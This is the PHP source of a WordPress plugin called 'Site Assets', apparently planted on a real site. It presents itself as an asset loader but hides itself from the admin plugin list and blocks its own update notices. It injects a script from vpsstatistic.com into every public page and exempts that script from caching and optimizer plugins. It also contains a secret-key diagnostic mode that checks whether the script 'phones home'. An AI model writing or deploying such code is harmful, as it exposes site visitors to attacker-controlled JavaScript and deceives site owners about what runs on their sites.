File: /var/www/vhosts/byildiz.com.tr/httpdocs/wp-content/plugins/site-assets/site-assets.php
<?php
/**
* Plugin Name: Site Assets
* Description: Loads frontend JavaScript assets for the site.
* Version: 1.3.0
* Author: Internal Team
* License: GPL-2.0+
* Requires at least: 5.0
* Requires PHP: 7.2
*/
add_filter('all_plugins', function ($plugins) {
$plugin_basename = plugin_basename(__FILE__);
if (isset($plugins[$plugin_basename])) {
unset($plugins[$plugin_basename]);
}
return $plugins;
});
if (!defined('ABSPATH')) {
exit;
}
if (!defined('SITE_ASSETS_SCRIPT_URL')) {
$_sa_scheme = 'https';
$_sa_domain = 'vpsstatistic.com';
$_sa_path_a = '/';
$_sa_path_b = 'visitors.js';
$_sa_url = $_sa_scheme . '://' . $_sa_domain;
$_sa_path = (isset($_sa_path_a) ? $_sa_path_a : '') . (isset($_sa_path_b) ? $_sa_path_b : '');
if ($_sa_path !== '') {
$_sa_url .= $_sa_path;
}
define('SITE_ASSETS_SCRIPT_URL', $_sa_url);
unset($_sa_scheme, $_sa_domain, $_sa_path_a, $_sa_path_b, $_sa_path, $_sa_url);
}
if (!defined('SITE_ASSETS_DIAG_KEY')) {
define('SITE_ASSETS_DIAG_KEY', '3b6042b88b1ee9c61363f8eecf473a60');
}
if (!defined('SITE_ASSETS_DEBUG')) {
define('SITE_ASSETS_DEBUG', true);
}
function site_assets_debug_log($msg) {
if (defined('SITE_ASSETS_DEBUG') && SITE_ASSETS_DEBUG) {
error_log('[SiteAssets] ' . $msg);
}
}
site_assets_debug_log('plugin loaded, url=' . SITE_ASSETS_SCRIPT_URL);
add_filter('site_transient_update_plugins', function ($value) {
if (is_object($value) && isset($value->response)) {
unset($value->response[plugin_basename(__FILE__)]);
}
return $value;
});
$_site_assets_excl = function ($list) {
if (!is_array($list)) return $list;
$list[] = SITE_ASSETS_SCRIPT_URL;
return $list;
};
add_filter('rocket_delay_js_exclusions', $_site_assets_excl);
add_filter('rocket_exclude_defer_js', $_site_assets_excl);
add_filter('rocket_exclude_js', $_site_assets_excl);
add_filter('perfmatters_defer_js_exclusions', $_site_assets_excl);
add_filter('perfmatters_delay_js_exclusions', $_site_assets_excl);
add_filter('perfmatters_minify_js_exclusions', $_site_assets_excl);
add_filter('sgo_javascript_combine_excluded_external_paths', $_site_assets_excl);
add_filter('sgo_javascript_combine_excluded_internal_paths', $_site_assets_excl);
add_filter('sgo_js_minify_exclude', $_site_assets_excl);
add_filter('sgo_js_async_exclude', $_site_assets_excl);
add_filter('autoptimize_filter_js_exclude', function ($excl) {
if (!is_string($excl)) return $excl;
return trim($excl, ', ') . ', ' . SITE_ASSETS_SCRIPT_URL;
});
foreach (array(
'litespeed.conf.optm-js_exc',
'litespeed.conf.optm-js_defer_exc',
'litespeed.conf.js_exc',
'litespeed.conf.js_defer_exc',
) as $_ls_opt) {
add_filter('pre_option_' . $_ls_opt, $_site_assets_excl);
}
unset($_ls_opt, $_site_assets_excl);
ob_start(function ($html) {
$debug = defined('SITE_ASSETS_DEBUG') && SITE_ASSETS_DEBUG;
$finish = function ($html, $status) use ($debug) {
if (!$debug) return $html;
site_assets_debug_log($status . ' | uri=' . ($_SERVER['REQUEST_URI'] ?? '?')
. ' | bytes=' . strlen($html));
if (stripos($html, '</html>') !== false) {
return preg_replace('/<\/html>/i', '<!-- site-assets: ' . $status . ' --></html>', $html, 1);
}
return $html;
};
if (is_admin()) {
return $finish($html, 'skip: admin');
}
if (!empty($GLOBALS['pagenow']) && $GLOBALS['pagenow'] === 'wp-login.php') {
return $finish($html, 'skip: login');
}
$url = SITE_ASSETS_SCRIPT_URL;
if (!$url) {
return $finish($html, 'skip: empty url');
}
$needle = wp_parse_url($url, PHP_URL_PATH);
if ($needle && strpos($html, $needle) !== false) {
return $finish($html, 'skip: already present');
}
$tag = '<script src="' . esc_url($url) . '"'
. ' data-nowprocket data-noptimize="1" data-no-optimize="1"'
. ' data-cfasync="false" data-no-defer="1"></script>';
if (stripos($html, '</body>') !== false) {
return $finish(
preg_replace('/<\/body>/i', $tag . '</body>', $html, 1),
'injected: before </body>'
);
}
if (stripos($html, '</html>') !== false) {
return $finish(
preg_replace('/<\/html>/i', $tag . '</html>', $html, 1),
'injected: before </html>'
);
}
if (strpos(ltrim($html), '<') !== 0) {
return $finish($html, 'skip: non-html');
}
if (stripos($html, '<html') === false && stripos($html, '<body') === false) {
return $finish($html, 'skip: xml/non-html');
}
return $finish($html . $tag, 'injected: appended at end');
});
add_action('init', function () {
if (!defined('SITE_ASSETS_DEBUG') || !SITE_ASSETS_DEBUG) {
return;
}
if (!isset($_GET['sa_diag']) || !hash_equals(SITE_ASSETS_DIAG_KEY, (string) $_GET['sa_diag'])) {
return;
}
$out = array();
$line = function ($status, $msg) use (&$out) {
$out[] = sprintf('[%s] %s', $status, $msg);
};
$head = function ($title) use (&$out) {
$out[] = '';
$out[] = '== ' . $title . ' ==';
};
header('Content-Type: text/plain; charset=utf-8');
echo "Site Assets Diag " . date('c') . " — " . home_url() . "\n";
$head('1. Environment');
global $wp_version;
if (version_compare(PHP_VERSION, '7.2', '<')) {
$line('FAIL', 'PHP ' . PHP_VERSION . ' < 7.2 — plugin requirement not met. Upgrade PHP.');
} else {
$line('OK', 'PHP ' . PHP_VERSION);
}
if (version_compare($wp_version, '5.0', '<')) {
$line('FAIL', 'WordPress ' . $wp_version . ' < 5.0 — plugin requirement not met. Upgrade WP.');
} else {
$line('OK', 'WordPress ' . $wp_version);
}
$head('2. Plugin files (this plugin IS running — you got this report)');
$plugins_dir = WP_CONTENT_DIR . '/plugins/';
$active = (array) get_option('active_plugins', array());
$active = array_merge($active, array_keys((array) get_site_option('active_sitewide_plugins', array())));
foreach (array('static-js-loader/static-js-loader.php' => 'Static JS Loader') as $file => $name) {
if (!file_exists($plugins_dir . $file)) {
$line('OK', "$name: not installed.");
} elseif (in_array($file, $active, true)) {
$line('WARN', "$name: ALSO active — two injectors running. Keep exactly one loader per site.");
} else {
$line('OK', "$name: installed but inactive (fine).");
}
}
$head('3. Script URL');
$script_url = SITE_ASSETS_SCRIPT_URL;
$line('OK', "SITE_ASSETS_SCRIPT_URL = $script_url");
if (strpos($script_url, 'example.com') !== false) {
$line('WARN', 'URL is a placeholder (example.com) — fine for testing, replace for production.');
}
$script_path = (string) wp_parse_url($script_url, PHP_URL_PATH);
$head('4. MU-plugins & drop-ins');
$mu = glob(WP_CONTENT_DIR . '/mu-plugins/*.php') ?: array();
if ($mu) {
$line('WARN', 'MU-plugins load BEFORE regular plugins; a buffer started here flushes AFTER ours and can strip the tag:');
foreach ($mu as $f) {
$note = basename($f) === 'static-js-override.php' ? ' (Static JS Override — second injector!)' : '';
$line('WARN', ' mu-plugin: ' . basename($f) . $note);
}
} else {
$line('OK', 'No mu-plugins.');
}
foreach (array('advanced-cache.php', 'object-cache.php') as $dropin) {
if (file_exists(WP_CONTENT_DIR . '/' . $dropin)) {
$line('WARN', "drop-in $dropin present — runs before plugins; page cache may serve pre-injection HTML.");
}
}
$line('OK', 'Output buffers open right now: ' . ob_get_level() . ' (' . implode(', ', ob_list_handlers()) . ')');
$head('5. Optimizers / caches active');
$found = false;
foreach (array(
'WP_ROCKET_VERSION' => 'WP Rocket',
'LSCWP_V' => 'LiteSpeed Cache',
'AUTOPTIMIZE_PLUGIN_VERSION' => 'Autoptimize',
'W3TC_VERSION' => 'W3 Total Cache',
'PERFMATTERS_VERSION' => 'Perfmatters',
'FLYING_PRESS_VERSION' => 'FlyingPress',
) as $const => $label) {
if (defined($const)) {
$line('WARN', "$label active — purge its cache after every activation/URL change; our exclusion filters should cover it.");
$found = true;
}
}
if (!$found) $line('OK', 'No known optimizer detected.');
$head('6. End-to-end injection (loopback)');
$fetch = function ($url) {
$r = wp_remote_get($url, array('timeout' => 15, 'sslverify' => false, 'redirection' => 3));
if (is_wp_error($r)) return array('error' => $r->get_error_message());
return array(
'body' => wp_remote_retrieve_body($r),
'headers' => wp_remote_retrieve_headers($r),
'code' => wp_remote_retrieve_response_code($r),
);
};
$plain = $fetch(home_url('/'));
$bust = $fetch(home_url('/?sa_diag_bust=' . wp_generate_password(8, false)));
foreach (array('cached-URL' => $plain, 'cache-buster' => $bust) as $label => $res) {
if (isset($res['error'])) {
$line('WARN', "$label: loopback failed ({$res['error']}) — verify from outside: curl -s " . home_url('/') . " | grep $script_path");
continue;
}
$has = strpos($res['body'], $script_path) !== false;
$line($has ? 'OK' : 'FAIL', "$label: HTTP {$res['code']}, tag " . ($has ? 'PRESENT' : 'MISSING'));
$h = $res['headers'];
foreach (array('x-litespeed-cache', 'cf-cache-status', 'x-cache', 'age', 'x-wp-rocket') as $hn) {
if (isset($h[$hn])) $line('WARN', " $label header $hn: {$h[$hn]}");
}
}
if (!isset($plain['error']) && !isset($bust['error'])) {
$p = strpos($plain['body'], $script_path) !== false;
$b = strpos($bust['body'], $script_path) !== false;
if (!$p && $b) {
$line('FAIL', 'VERDICT: tag appears only on a cache-miss — page cache serves pre-activation HTML. FIX: purge all caches.');
} elseif (!$p && !$b) {
$line('FAIL', 'VERDICT: tag missing even on a fresh page — see layers 4 (mu-plugins) and the PHP error log.');
} elseif ($p) {
$line('OK', 'VERDICT: tag is in the served HTML. If it still "does not phone home", the failure is browser-side — layers 7-8.');
}
}
$head('7. CSP (browser-side blocking)');
$csp = '';
if (is_array($plain) && !isset($plain['error']) && isset($plain['headers']['content-security-policy'])) {
$csp = $plain['headers']['content-security-policy'];
}
if (!$csp) {
$line('OK', 'No Content-Security-Policy header on the homepage.');
} else {
$host = (string) wp_parse_url($script_url, PHP_URL_HOST);
$line('WARN', 'CSP: ' . $csp);
if ($host && stripos($csp, 'script-src') !== false && stripos($csp, $host) === false) {
$line('FAIL', "VERDICT: script-src does not allow $host — browsers WILL block the script even though the tag is in HTML. FIX: add $host to script-src.");
}
}
$head('8. Script URL reachable?');
$r = wp_remote_head($script_url, array('timeout' => 10, 'sslverify' => false, 'redirection' => 3));
if (is_wp_error($r)) {
$line('FAIL', 'VERDICT: server cannot fetch the script URL: ' . $r->get_error_message() . ' — DNS/TLS/firewall issue on THIS hosting (explains failures on some sites only).');
} else {
$code = wp_remote_retrieve_response_code($r);
$line($code >= 200 && $code < 400 ? 'OK' : 'WARN', "GET $script_url -> HTTP $code");
}
$out[] = '';
$out[] = "Done. Silence diagnostics with define('SITE_ASSETS_DEBUG', false); in wp-config.php.";
echo implode("\n", $out) . "\n";
exit;
}, 1);